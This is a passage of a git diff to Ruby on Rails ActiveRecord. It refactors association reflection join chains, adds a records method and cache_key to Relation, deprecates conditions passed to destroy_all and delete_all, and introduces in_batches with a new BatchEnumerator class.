ActiveRecord def join_id_for(owner) # :nodoc: owner[foreign_key] end + + private + + def calculate_constructable(macro, options) + !polymorphic? + end end class HasAndBelongsToManyReflection < AssociationReflection # :nodoc: @@ -635,10 +704,14 @@ module ActiveRecord def initialize(delegate_reflection) @delegate_reflection = delegate_reflection - @klass = delegate_reflection.options[:class] + @klass = delegate_reflection.options[:anonymous_class] @source_reflection_name = delegate_reflection.options[:source] end + def through_reflection? + true + end + def klass @klass ||= delegate_reflection.compute_class(class_name) end @@ -697,25 +770,13 @@ module ActiveRecord # # => [<ActiveRecord::Reflection::ThroughReflection: @delegate_reflection=#<ActiveRecord::Reflection::HasManyReflection: @name=:tags...>, # <ActiveRecord::Reflection::HasManyReflection: @name=:taggings, @options={}, @active_record=Post>] # - def chain - @chain ||= begin - a = source_reflection.chain - b = through_reflection.chain.map(&:dup) - - if options[:source_type] - b[0] = PolymorphicReflection.new(b[0], self) - end - - chain = a + b - chain[0] = self # Use self so we don't lose the information from :source_type - chain - end + def collect_join_chain + collect_join_reflections [self] end # This is for clearing cache on the reflection. Useful for tests that need to compare # SQL queries on associations. def clear_association_scope_cache # :nodoc: - @chain = nil delegate_reflection.clear_association_scope_cache source_reflection.clear_association_scope_cache through_reflection.clear_association_scope_cache @@ -762,13 +823,19 @@ module ActiveRecord end end + def has_scope? + scope || options[:source_type] || + source_reflection.has_scope? || + through_reflection.has_scope? + end + def join_keys(association_klass) source_reflection.join_keys(association_klass) end # A through association is nested if there would be more than one join table def nested? - chain.length > 2 + source_reflection.through_reflection? || through_reflection.through_reflection? end # We want to use the klass from this reflection, rather than just delegate straight to @@ -807,7 +874,7 @@ module ActiveRecord example_options = options.dup example_options[:source] = source_reflection_names.first ActiveSupport::Deprecation.warn \ - "Ambiguous source reflection for through association. Please " \ + "Ambiguous source reflection for through association. Please " \ "specify a :source directive on your declaration like:\n" \ "\n" \ " class #{active_record.name} < ActiveRecord::Base\n" \ @@ -868,6 +935,27 @@ module ActiveRecord scope_chain end + def add_as_source(seed) + collect_join_reflections seed + end + + def add_as_polymorphic_through(reflection, seed) + collect_join_reflections(seed + [PolymorphicReflection.new(self, reflection)]) + end + + def add_as_through(seed) + collect_join_reflections(seed + [self]) + end + + def collect_join_reflections(seed) + a = source_reflection.add_as_source seed + if options[:source_type] + through_reflection.add_as_polymorphic_through self, a + else + through_reflection.add_as_through a + end + end + protected def actual_source_reflection # FIXME: this is a horrible name @@ -878,6 +966,8 @@ module ActiveRecord klass.primary_key || raise(UnknownPrimaryKey.new(klass)) end + def inverse_name; delegate_reflection.send(:inverse_name); end + private def derive_class_name # get the class_name of the belongs_to association of the through reflection @@ -922,7 +1012,7 @@ module ActiveRecord end def constraints - [source_type_info] + @reflection.constraints + [source_type_info] end def source_type_info diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb index 6bbec7c0c0..d042fe5f8b 100644 --- a/activerecord/lib/active_record/relation.rb +++ b/activerecord/lib/active_record/relation.rb @@ -1,20 +1,20 @@ -# -*- coding: utf-8 -*- require "arel/collectors/bind" module ActiveRecord - # = Active Record Relation + # = Active Record \Relation class Relation MULTI_VALUE_METHODS = [:includes, :eager_load, :preload, :select, :group, - :order, :joins, :references, + :order, :joins, :left_joins, :left_outer_joins, :references, :extending, :unscope] SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :reordering, - :reverse_order, :distinct, :create_with, :uniq] + :reverse_order, :distinct, :create_with] CLAUSE_METHODS = [:where, :having, :from] INVALID_METHODS_FOR_DELETE_ALL = [:limit, :distinct, :offset, :group, :having] VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS + CLAUSE_METHODS + include Enumerable include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation attr_reader :table, :klass, :loaded, :predicate_builder @@ -45,9 +45,9 @@ module ActiveRecord k.name == primary_key }] - if !primary_key_value && connection.prefetch_primary_key?(klass.table_name) - primary_key_value = connection.next_sequence_value(klass.sequence_name) - values[klass.arel_table[klass.primary_key]] = primary_key_value + if !primary_key_value && klass.prefetch_primary_key? + primary_key_value = klass.next_sequence_value + values[arel_attribute(klass.primary_key)] = primary_key_value end end @@ -94,21 +94,25 @@ module ActiveRecord end def substitute_values(values) # :nodoc: - binds = values.map do |arel_attr, value| - QueryAttribute.new(arel_attr.name, value, klass.type_for_attribute(arel_attr.name)) - end + binds = [] + substitutes = [] - substitutes = values.map do |(arel_attr, _)| - [arel_attr, connection.substitute_at(klass.columns_hash[arel_attr.name])] + values.each do |arel_attr, value| + binds.push QueryAttribute.new(arel_attr.name, value, klass.type_for_attribute(arel_attr.name)) + substitutes.push [arel_attr, Arel::Nodes::BindParam.new] end [substitutes, binds] end + def arel_attribute(name) # :nodoc: + klass.arel_attribute(name, table) + end + # Initializes new record from relation while maintaining the current # scope. # - # Expects arguments in the same format as +Base.new+. + # Expects arguments in the same format as {ActiveRecord::Base.new}[rdoc-ref:Core.new]. # # users = User.where(name: 'DHH') # user = users.new # => #<User id: nil, name: "DHH", created_at: nil, updated_at: nil> @@ -126,28 +130,32 @@ module ActiveRecord # Tries to create a new record with the same scoped attributes # defined in the relation. Returns the initialized object if validation fails. # - # Expects arguments in the same format as +Base.create+. + # Expects arguments in the same format as + # {ActiveRecord::Base.create}[rdoc-ref:Persistence::ClassMethods#create]. # # ==== Examples + # # users = User.where(name: 'Oscar') - # users.create # #<User id: 3, name: "oscar", ...> + # users.create # => #<User id: 3, name: "Oscar", ...> # # users.create(name: 'fxn') - # users.create # #<User id: 4, name: "fxn", ...> + # users.create # => #<User id: 4, name: "fxn", ...> # # users.create { |user| user.name = 'tenderlove' } - # # #<User id: 5, name: "tenderlove", ...> + # # => #<User id: 5, name: "tenderlove", ...> # # users.create(name: nil) # validation on name - # # #<User id: nil, name: nil, ...> + # # => #<User id: nil, name: nil, ...> def create(*args, &block) scoping { @klass.create(*args, &block) } end - # Similar to #create, but calls +create!+ on the base class. Raises - # an exception if a validation error occurs. + # Similar to #create, but calls + # {create!}[rdoc-ref:Persistence::ClassMethods#create!] + # on the base class. Raises an exception if a validation error occurs. # - # Expects arguments in the same format as <tt>Base.create!</tt>. + # Expects arguments in the same format as + # {ActiveRecord::Base.create!}[rdoc-ref:Persistence::ClassMethods#create!]. def create!(*args, &block) scoping { @klass.create!(*args, &block) } end @@ -181,7 +189,7 @@ module ActiveRecord # User.create_with(last_name: 'Johansson').find_or_create_by(first_name: 'Scarlett') # # => #<User id: 2, first_name: "Scarlett", last_name: "Johansson"> # - # This method accepts a block, which is passed down to +create+. The last example + # This method accepts a block, which is passed down to #create. The last example # above can be alternatively written this way: # # # Find the first user named "Scarlett" or create a new one with a @@ -193,7 +201,7 @@ module ActiveRecord # # This method always returns a record, but if creation was attempted and # failed due to validation errors it won't be persisted, you get what - # +create+ returns in such situation. + # #create returns in such situation. # # Please note *this method is not atomic*, it runs first a SELECT, and if # there are no results an INSERT is attempted. If there are other threads @@ -205,7 +213,9 @@ module ActiveRecord # constraint an exception may be raised, just retry: # # begin - # CreditAccount.find_or_create_by(user_id: user.id) + # CreditAccount.transaction(requires_new: true) do + # CreditAccount.find_or_create_by(user_id: user.id) + # end # rescue ActiveRecord::RecordNotUnique # retry # end @@ -214,13 +224,15 @@ module ActiveRecord find_by(attributes) || create(attributes, &block) end - # Like <tt>find_or_create_by</tt>, but calls <tt>create!</tt> so an exception + # Like #find_or_create_by, but calls + # {create!}[rdoc-ref:Persistence::ClassMethods#create!] so an exception # is raised if the created record is invalid. def find_or_create_by!(attributes, &block) find_by(attributes) || create!(attributes, &block) end - # Like <tt>find_or_create_by</tt>, but calls <tt>new</tt> instead of <tt>create</tt>. + # Like #find_or_create_by, but calls {new}[rdoc-ref:Core#new] + # instead of {create}[rdoc-ref:Persistence::ClassMethods#create]. def find_or_initialize_by(attributes, &block) find_by(attributes) || new(attributes, &block) end @@ -241,17 +253,21 @@ module ActiveRecord # Converts relation objects to Array. def to_a + records.dup + end + + def records # :nodoc: load @records end # Serializes the relation objects Array. def encode_with(coder) - coder.represent_seq(nil, to_a) + coder.represent_seq(nil, records) end def as_json(options = nil) #:nodoc: - to_a.as_json(options) + records.as_json(options) end # Returns size of the records. @@ -273,38 +289,52 @@ module ActiveRecord # Returns true if there are no records. def none? - if block_given? - to_a.none? { |*block_args| yield(*block_args) } - else - empty? - end + return super if block_given? + empty? end # Returns true if there are any records. def any? - if block_given? - to_a.any? { |*block_args| yield(*block_args) } - else - !empty? - end + return super if block_given? + !empty? end # Returns true if there is exactly one record. def one? - if block_given? - to_a.one? { |*block_args| yield(*block_args) } - else - limit_value ? to_a.one? : size == 1 - end + return super if block_given? + limit_value ? records.one? : size == 1 end # Returns true if there is more than one record. def many? - if block_given? - to_a.many? { |*block_args| yield(*block_args) } - else - limit_value ? to_a.many? : size > 1 - end + return super if block_given? + limit_value ? records.many? : size > 1 + end + + # Returns a cache key that can be used to identify the records fetched by + # this query. The cache key is built with a fingerprint of the sql query, + # the number of records matched by the query and a timestamp of the last + # updated record. When a new record comes to match the query, or any of + # the existing records is updated or deleted, the cache key changes. + # + # Product.where("name like ?", "%Cosmic Encounter%").cache_key + # # => "products/query-1850ab3d302391b85b8693e941286659-1-20150714212553907087000" + # + # If the collection is loaded, the method will iterate through the records + # to generate the timestamp, otherwise it will trigger one SQL query like: + # + # SELECT COUNT(*), MAX("products"."updated_at") FROM "products" WHERE (name like '%Cosmic Encounter%') + # + # You can also pass a custom timestamp column to fetch the timestamp of the + # last updated record. + # + # Product.where("name like ?", "%Game%").cache_key(:last_reviewed_at) + # + # You can customize the strategy to generate the key on a per model basis + # overriding ActiveRecord::Base#collection_cache_key. + def cache_key(timestamp_column = :updated_at) + @cache_keys ||= {} + @cache_keys[timestamp_column] ||= @klass.collection_cache_key(self, timestamp_column) end # Scope all queries to the current scope. @@ -325,9 +355,8 @@ module ActiveRecord # Updates all records in the current relation with details given. This method constructs a single SQL UPDATE # statement and sends it straight to the database. It does not instantiate the involved models and it does not - # trigger Active Record callbacks or validations. Values passed to `update_all` will not go through - # ActiveRecord's type-casting behavior. It should receive only values that can be passed as-is to the SQL - # database. + # trigger Active Record callbacks or validations. However, values passed to #update_all will still go through + # Active Record's normal type casting and serialization. # # ==== Parameters # @@ -350,11 +379,11 @@ module ActiveRecord stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates)) stmt.table(table) - stmt.key = table[primary_key] if joins_values.any? - @klass.connection.join_to_update(stmt, arel) + @klass.connection.join_to_update(stmt, arel, arel_attribute(primary_key)) else + stmt.key = arel_attribute(primary_key) stmt.take(arel.limit) stmt.order(*arel.orders) stmt.wheres = arel.constraints @@ -384,27 +413,34 @@ module ActiveRecord # people = Person.where(group: 'expert') # people.update(group: 'masters') # - # Note: Updating a large number of records will run a - # UPDATE query for each record, which may cause a performance - # issue. So if it is not needed to run callbacks for each update, it is - # preferred to use <tt>update_all</tt> for updating all records using - # a single query. + # Note: Updating a large number of records will run an + # UPDATE query for each record, which may cause a performance + # issue. So if it is not needed to run callbacks for each update, it is + # preferred to use #update_all for updating all records using + # a single query. def update(id = :all, attributes) if id.is_a?(Array) id.map.with_index { |one_id, idx| update(one_id, attributes[idx]) } elsif id == :all - to_a.each { |record| record.update(attributes) } + records.each { |record| record.update(attributes) } else + if ActiveRecord::Base === id + id = id.id + ActiveSupport::Deprecation.warn(<<-MSG.squish) + You are passing an instance of ActiveRecord::Base to `update`. + Please pass the id of the object by calling `.id`. + MSG + end object = find(id) object.update(attributes) object end end - # Destroys the records matching +conditions+ by instantiating each - # record and calling its +destroy+ method. Each object's callbacks are - # executed (including <tt>:dependent</tt> association options). Returns the - # collection of objects that were destroyed; each will be frozen, to + # Destroys the records by instantiating each + # record and calling its {#destroy}[rdoc-ref:Persistence#destroy] method. + # Each object's callbacks are executed (including <tt>:dependent</tt> association options). + # Returns the collection of objects that were destroyed; each will be frozen, to # reflect that no changes should be made (since they can't be persisted). # # Note: Instantiation, callback execution, and deletion of each @@ -412,31 +448,26 @@ module ActiveRecord # once. It generates at least one SQL +DELETE+ query per record (or # possibly more, to enforce your callbacks). If you want to delete many # rows quickly, without concern for their associations or callbacks, use - # +delete_all+ instead. - # - # ==== Parameters - # - # * +conditions+ - A string, array, or hash that specifies which records - # to destroy. If omitted, all records are destroyed. See the - # Conditions section in the introduction to ActiveRecord::Base for - # more information. + # #delete_all instead. # # ==== Examples # - # Person.destroy_all("last_login < '2004-04-04'") - # Person.destroy_all(status: "inactive") # Person.where(age: 0..18).destroy_all def destroy_all(conditions = nil) if conditions + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + Passing conditions to destroy_all is deprecated and will be removed in Rails 5.1. + To achieve the same use where(conditions).destroy_all. + MESSAGE where(conditions).destroy_all else - to_a.each(&:destroy).tap { reset } + records.each(&:destroy).tap { reset } end end # Destroy an object (or multiple objects) that has the given id. The object is instantiated first, # therefore all callbacks and filters are fired off before the object is deleted. This method is - # less efficient than ActiveRecord#delete but allows cleanup methods and other actions to be run. + # less efficient than #delete but allows cleanup methods and other actions to be run. # # This essentially finds the object (or multiple objects) with the given id, creates a new object # from the attributes, and then calls destroy on it. @@ -461,22 +492,21 @@ module ActiveRecord end end - # Deletes the records matching +conditions+ without instantiating the records - # first, and hence not calling the +destroy+ method nor invoking callbacks. This - # is a single SQL DELETE statement that goes straight to the database, much more - # efficient than +destroy_all+. Be careful with relations though, in particular + # Deletes the records without instantiating the records + # first, and hence not calling the {#destroy}[rdoc-ref:Persistence#destroy] + # method nor invoking callbacks. + # This is a single SQL DELETE statement that goes straight to the database, much more + # efficient than #destroy_all. Be careful with relations though, in particular # <tt>:dependent</tt> rules defined on associations are not honored. Returns the # number of rows affected. # - # Post.delete_all("person_id = 5 AND (category = 'Something' OR category = 'Else')") - # Post.delete_all(["person_id = ? AND (category = ? OR category = ?)", 5, 'Something', 'Else']) # Post.where(person_id: 5).where(category: ['Something', 'Else']).delete_all # # Both calls delete the affected posts all at once with a single DELETE statement. # If you need to destroy dependent associations or call your <tt>before_*</tt> or - # +after_destroy+ callbacks, use the +destroy_all+ method instead. + # +after_destroy+ callbacks, use the #destroy_all method instead. # - # If an invalid method is supplied, +delete_all+ raises an ActiveRecord error: + # If an invalid method is supplied, #delete_all raises an ActiveRecordError: # # Post.limit(100).delete_all # # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit @@ -495,13 +525,17 @@ module ActiveRecord end if conditions + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + Passing conditions to delete_all is deprecated and will be removed in Rails 5.1. + To achieve the same use where(conditions).delete_all. + MESSAGE where(conditions).delete_all else stmt = Arel::DeleteManager.new stmt.from(table) if joins_values.any? - @klass.connection.join_to_delete(stmt, arel, table[primary_key]) + @klass.connection.join_to_delete(stmt, arel, arel_attribute(primary_key)) else stmt.wheres = arel.constraints end @@ -521,7 +555,7 @@ module ActiveRecord # You can delete multiple rows at once by passing an Array of <tt>id</tt>s. # # Note: Although it is often much faster than the alternative, - # <tt>#destroy</tt>, skipping callbacks might bypass business logic in + # #destroy, skipping callbacks might bypass business logic in # your application that ensures referential integrity or performs other # essential jobs. # @@ -557,7 +591,7 @@ module ActiveRecord def reset @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil @should_eager_load = @join_dependency = nil - @records = [] + @records = [].freeze @offsets = {} self end @@ -611,31 +645,34 @@ module ActiveRecord includes_values & joins_values end - # +uniq+ and +uniq!+ are silently deprecated. +uniq_value+ delegates to +distinct_value+ - # to maintain backwards compatibility. Use +distinct_value+ instead. + # {#uniq}[rdoc-ref:QueryMethods#uniq] and + # {#uniq!}[rdoc-ref:QueryMethods#uniq!] are silently deprecated. + # #uniq_value delegates to #distinct_value to maintain backwards compatibility. + # Use #distinct_value instead. def uniq_value distinct_value end + deprecate uniq_value: :distinct_value # Compares two relations for equality. def ==(other) case other when Associations::CollectionProxy, AssociationRelation - self == other.to_a + self == other.records when Relation other.to_sql == to_sql when Array - to_a == other + records == other end end def pretty_print(q) - q.pp(self.to_a) + q.pp(self.records) end # Returns true if relation is blank. def blank? - to_a.blank? + records.blank? end def values @@ -643,16 +680,23 @@ module ActiveRecord end def inspect - entries = to_a.take([limit_value, 11].compact.min).map!(&:inspect) + entries = records.take([limit_value, 11].compact.min).map!(&:inspect) entries[10] = '...' if entries.size == 11 "#<#{self.class.name} [#{entries.join(', ')}]>" end + protected + + def load_records(records) + @records = records.freeze + @loaded = true + end + private def exec_queries - @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bound_attributes) + @records = eager_loading? ? find_with_associations.freeze : @klass.find_by_sql(arel, bound_attributes).freeze preload = preload_values preload += includes_values unless eager_loading? diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb index e07580a563..3639625722 100644 --- a/activerecord/lib/active_record/relation/batches.rb +++ b/activerecord/lib/active_record/relation/batches.rb @@ -1,8 +1,12 @@ +require "active_record/relation/batches/batch_enumerator" + module ActiveRecord module Batches + ORDER_OR_LIMIT_IGNORED_MESSAGE = "Scoped order and limit are ignored, it's forced to be batch order and batch size." + # Looping through a collection of records from the database - # (using the +all+ method, for example) is very inefficient - # since it will try to instantiate all the objects at once. + # (using the Scoping::Named::ClassMethods.all method, for example) + # is very inefficient since it will try to instantiate all the objects at once. # # In that case, batch processing methods allow you to work # with the records in batches, thereby greatly reducing memory consumption. @@ -27,15 +31,18 @@ module ActiveRecord # # ==== Options # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000. - # * <tt>:begin_at</tt> - Specifies the primary key value to start from, inclusive of the value. - # * <tt>:end_at</tt> - Specifies the primary key value to end at, inclusive of the value. + # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value. + # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value. + # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when + # the order and limit have to be ignored due to batching. + # # This is especially useful if you want multiple workers dealing with # the same processing queue. You can make worker 1 handle all the records # between id 0 and 10,000 and worker 2 handle from 10,000 and beyond - # (by setting the +:begin_at+ and +:end_at+ option on each worker). + # (by setting the +:start+ and +:finish+ option on each worker). # # # Let's process for a batch of 2000 records, skipping the first 2000 rows - # Person.find_each(begin_at: 2000, batch_size: 2000) do |person| + # Person.find_each(start: 2000, batch_size: 2000) do |person| # person.party_all_night! # end # @@ -46,22 +53,15 @@ module ActiveRecord # # NOTE: You can't set the limit either, that's used to control # the batch sizes. - def find_each(begin_at: nil, end_at: nil, batch_size: 1000, start: nil) - if start - begin_at = start - ActiveSupport::Deprecation.warn(<<-MSG.squish) - Passing `start` value to find_each is deprecated, and will be removed in Rails 5.1. - Please pass `begin_at` instead. - MSG - end + def find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil) if block_given? - find_in_batches(begin_at: begin_at, end_at: end_at, batch_size: batch_size) do |records| + find_in_batches(start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do |records| records.each { |record| yield record } end else - enum_for(:find_each, begin_at: begin_at, end_at: end_at, batch_size: batch_size) do + enum_for(:find_each, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do relation = self - apply_limits(relation, begin_at, end_at).size + apply_limits(relation, start, finish).size end end end @@ -86,15 +86,18 @@ module ActiveRecord # # ==== Options # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000. - # * <tt>:begin_at</tt> - Specifies the primary key value to start from, inclusive of the value. - # * <tt>:end_at</tt> - Specifies the primary key value to end at, inclusive of the value. + # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value. + # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value. + # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when + # the order and limit have to be ignored due to batching. + # # This is especially useful if you want multiple workers dealing with # the same processing queue. You can make worker 1 handle all the records # between id 0 and 10,000 and worker 2 handle from 10,000 and beyond - # (by setting the +:begin_at+ and +:end_at+ option on each worker). + # (by setting the +:start+ and +:finish+ option on each worker). # # # Let's process the next 2000 records - # Person.find_in_batches(begin_at: 2000, batch_size: 2000) do |group| + # Person.find_in_batches(start: 2000, batch_size: 2000) do |group| # group.each { |person| person.party_all_night! } # end # @@ -105,54 +108,136 @@ module ActiveRecord # # NOTE: You can't set the limit either, that's used to control # the batch sizes. - def find_in_batches(begin_at: nil, end_at: nil, batch_size: 1000, start: nil) - if start - begin_at = start - ActiveSupport::Deprecation.warn(<<-MSG.squish) - Passing `start` value to find_in_batches is deprecated, and will be removed in Rails 5.1. - Please pass `begin_at` instead. - MSG - end - + def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil) relation = self unless block_given? - return to_enum(:find_in_batches, begin_at: begin_at, end_at: end_at, batch_size: batch_size) do - total = apply_limits(relation, begin_at, end_at).size + return to_enum(:find_in_batches, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do + total = apply_limits(relation, start, finish).size (total - 1).div(batch_size) + 1 end end - if logger && (arel.orders.present? || arel.taken.present?) - logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size") + in_batches(of: batch_size, start: start, finish: finish, load: true, error_on_ignore: error_on_ignore) do |batch| + yield batch.to_a + end + end + + # Yields ActiveRecord::Relation objects to work with a batch of records. + # + # Person.where("age > 21").in_batches do |relation| + # relation.delete_all + # sleep(10) # Throttle the delete queries + # end + # + # If you do not provide a block to #in_batches, it will return a + # BatchEnumerator which is enumerable. + # + # Person.in_batches.with_index do |relation, batch_index| + # puts "Processing relation ##{batch_index}" + # relation.each { |relation| relation.delete_all } + # end + # + # Examples of calling methods on the returned BatchEnumerator object: + # + # Person.in_batches.delete_all + # Person.in_batches.update_all(awesome: true) + # Person.in_batches.each_record(&:party_all_night!) + # + # ==== Options + # * <tt>:of</tt> - Specifies the size of the batch. Default to 1000. + # * <tt>:load</tt> - Specifies if the relation should be loaded. Default to false. + # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value. + # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value. + # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when + # the order and limit have to be ignored due to batching. + # + # This is especially useful if you want to work with the + # ActiveRecord::Relation object instead of the array of records, or if + # you want multiple workers dealing with the same processing queue. You can + # make worker 1 handle all the records between id 0 and 10,000 and worker 2 + # handle from 10,000 and beyond (by setting the +:start+ and +:finish+ + # option on each worker). + # + # # Let's process the next 2000 records + # Person.in_batches(of: 2000, start: 2000).update_all(awesome: true) + # + # An example of calling where query method on the relation: + # + # Person.in_batches.each do |relation| + # relation.update_all('age = age + 1') + # relation.where('age > 21').update_all(should_party: true) + # relation.where('age <= 21').delete_all + # end + # + # NOTE: If you are going to iterate through each record, you should call + # #each_record on the yielded BatchEnumerator: + # + # Person.in_batches.each_record(&:party_all_night!) + # + # NOTE: It's not possible to set the order. That is automatically set to + # ascending on the primary key ("id ASC") to make the batch ordering + # consistent. Therefore the primary key must be orderable, e.g an integer + # or a string. + # + # NOTE: You can't set the limit either, that's used to control the batch + # sizes. + def in_batches(of: 1000, start: nil, finish: nil, load: false, error_on_ignore: nil) + relation = self + unless block_given? + return BatchEnumerator.new(of: of, start: start, finish: finish, relation: self) + end + + if arel.orders.present? || arel.taken.present? + act_on_order_or_limit_ignored(error_on_ignore) end - relation = relation.reorder(batch_order).limit(batch_size) - relation = apply_limits(relation, begin_at, end_at) - records = relation.to_a + relation = relation.reorder(batch_order).limit(of) + relation = apply_limits(relation, start, finish) + batch_relation = relation + + loop do + if load + records = batch_relation.records + ids = records.map(&:id) + yielded_relation = self.where(primary_key => ids) + yielded_relation.load_records(records) + else + ids = batch_relation.pluck(primary_key) + yielded_relation = self.where(primary_key => ids) + end - while records.any? - records_size = records.size - primary_key_offset = records.last.id - raise "Primary key not included in the custom select clause" unless primary_key_offset + break if ids.empty? - yield records + primary_key_offset = ids.last + raise ArgumentError.new("Primary key not included in the custom select clause") unless primary_key_offset - break if records_size < batch_size + yield yielded_relation - records = relation.where(table[primary_key].gt(primary_key_offset)).to_a + break if ids.length < of + batch_relation = relation.where(arel_attribute(primary_key).gt(primary_key_offset)) end end private - def apply_limits(relation, begin_at, end_at) - relation = relation.where(table[primary_key].gteq(begin_at)) if begin_at - relation = relation.where(table[primary_key].lteq(end_at)) if end_at + def apply_limits(relation, start, finish) + relation = relation.where(arel_attribute(primary_key).gteq(start)) if start + relation = relation.where(arel_attribute(primary_key).lteq(finish)) if finish relation end def batch_order "#{quoted_table_name}.#{quoted_primary_key} ASC" end + + def act_on_order_or_limit_ignored(error_on_ignore) + raise_error = (error_on_ignore.nil? ? self.klass.error_on_ignored_order_or_limit : error_on_ignore) + + if raise_error + raise ArgumentError.new(ORDER_OR_LIMIT_IGNORED_MESSAGE) + elsif logger + logger.warn(ORDER_OR_LIMIT_IGNORED_MESSAGE) + end + end end end diff --git a/activerecord/lib/active_record/relation/batches/batch_enumerator.rb b/activerecord/lib/active_record/relation/batches/batch_enumerator.rb new file mode 100644 index 0000000000..333b3a63cf --- /dev/null +++ b/activerecord/lib/active_record/relation/batches/batch_enumerator.rb @@ -0,0 +1,67 @@ +module ActiveRecord + module Batches + class BatchEnumerator + include Enumerable + + def initialize(of: 1000, start: nil, finish: nil, relation:) #:nodoc: + @of = of + @relation = relation + @start = start + @finish = finish + end + + # Looping through a collection of records from the database (using the + # +all+ method, for example) is very inefficient since it will try to + # instantiate all the objects at once. + # + # In that case, batch processing methods allow you to work with the + # records in batches, thereby greatly reducing memory consumption. + # + # Person.in_batches.each_record do |person| + # person.do_awesome_stuff + # end + # + # Person.where("age > 21").in_batches(of: 10).each_record do |person| + # person.party_all_night! + # end + # + # If you do not provide a block to #each_record, it will return an Enumerator + # for chaining with other methods: + # + # Person.in_batches.each_record.with_index do |person, index| + # person.award_trophy(index + 1) + # end + def each_record + return to_enum(:each_record) unless block_given? + + @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: true).each do |relation| + relation.records.each { |record| yield record } + end + end + + # Delegates #delete_all, #update_all, #destroy_all methods to each batch. + # + # People.in_batches.delete_all + # People.where('age < 10').in_batches.destroy_all + # People.in_batches.update_all('age = age + 1') + [:delete_all, :update_all, :destroy_all].each do |method| + define_method(method) do |*args, &block| + @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false).each do |relation| + relation.send(method, *args, &block) + end + end + end + + # Yields an ActiveRecord::Relation object for each batch of records. + # + # Person.in_batches.each do |relation| + # relation.update_all(awesome: true) + # end + def each + enum = @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false) + return enum.each { |relation| yield relation } if block_given? + enum + end + end + end +end diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb index 8f16de3519..120f34109e 100644 --- a/activerecord/lib/active_record/relation/calculations.rb +++ b/activerecord/lib/active_record/relation/calculations.rb @@ -14,33 +14,38 @@ module ActiveRecord # Person.distinct.count(:age) # # => counts the number of different age values # - # If +count+ is used with +group+, it returns a Hash whose keys represent the aggregated column, + # If #count is used with {Relation#group}[rdoc-ref:QueryMethods#group], + # it returns a Hash whose keys represent the aggregated column, # and the values are the respective amounts: # # Person.group(:city).count # # => { 'Rome' => 5, 'Paris' => 3 } # - # If +count+ is used with +group+ for multiple columns, it returns a Hash whose + # If #count is used with {Relation#group}[rdoc-ref:QueryMethods#group] for multiple columns, it returns a Hash whose # keys are an array containing the individual values of each column and the value - # of each key would be the +count+. + # of each key would be the #count. # # Article.group(:status, :category).count # # => {["draft", "business"]=>10, ["draft", "technology"]=>4, # ["published", "business"]=>0, ["published", "technology"]=>2} # - # If +count+ is used with +select+, it will count the selected columns: + # If #count is used with {Relation#select}[rdoc-ref:QueryMethods#select], it will count the selected columns: # # Person.select(:age).count # # => counts the number of different age values # - # Note: not all valid +select+ expressions are valid +count+ expressions. The specifics differ + # Note: not all valid {Relation#select}[rdoc-ref:QueryMethods#select] expressions are valid #count expressions. The specifics differ # between databases. In invalid cases, an error from the database is thrown. def count(column_name = nil) - calculate(:count, column_name) + if block_given? + to_a.count { |*block_args| yield(*block_args) } + else + calculate(:count, column_name) + end end # Calculates the average value on a given column. Returns +nil+ if there's - # no row. See +calculate+ for examples with options. + # no row. See #calculate for examples with options. # # Person.average(:age) # => 35.8 def average(column_name) @@ -49,7 +54,7 @@ module ActiveRecord # Calculates the minimum value on a given column. The value is returned # with the same data type of the column, or +nil+ if there's no row. See - # +calculate+ for examples with options. + # #calculate for examples with options. # # Person.minimum(:age) # => 7 def minimum(column_name) @@ -58,7 +63,7 @@ module ActiveRecord # Calculates the maximum value on a given column. The value is returned # with the same data type of the column, or +nil+ if there's no row. See - # +calculate+ for examples with options. + # #calculate for examples with options. # # Person.maximum(:age) # => 93 def maximum(column_name) @@ -66,45 +71,46 @@ module ActiveRecord end # Calculates the sum of values on a given column. The value is returned - # with the same data type of the column, 0 if there's no row. See - # +calculate+ for examples with options. + # with the same data type of the column, +0+ if there's no row. See + # #calculate for examples with options. # # Person.sum(:age) # => 4562 - def sum(*args) - calculate(:sum, *args) + def sum(column_name = nil, &block) + return super(&block) if block_given? + calculate(:sum, column_name) end - # This calculates aggregate values in the given column. Methods for count, sum, average, - # minimum, and maximum have been added as shortcuts. + # This calculates aggregate values in the given column. Methods for #count, #sum, #average, + # #minimum, and #maximum have been added as shortcuts. # - # There are two basic forms of output: + # Person.calculate(:count, :all) # The same as Person.count + # Person.average(:age) # SELECT AVG(age) FROM people... # - # * Single aggregate value: The single value is type cast to Fixnum for COUNT, Float - # for AVG, and the given column's type for everything else. + # # Selects the minimum age for any family without any minors 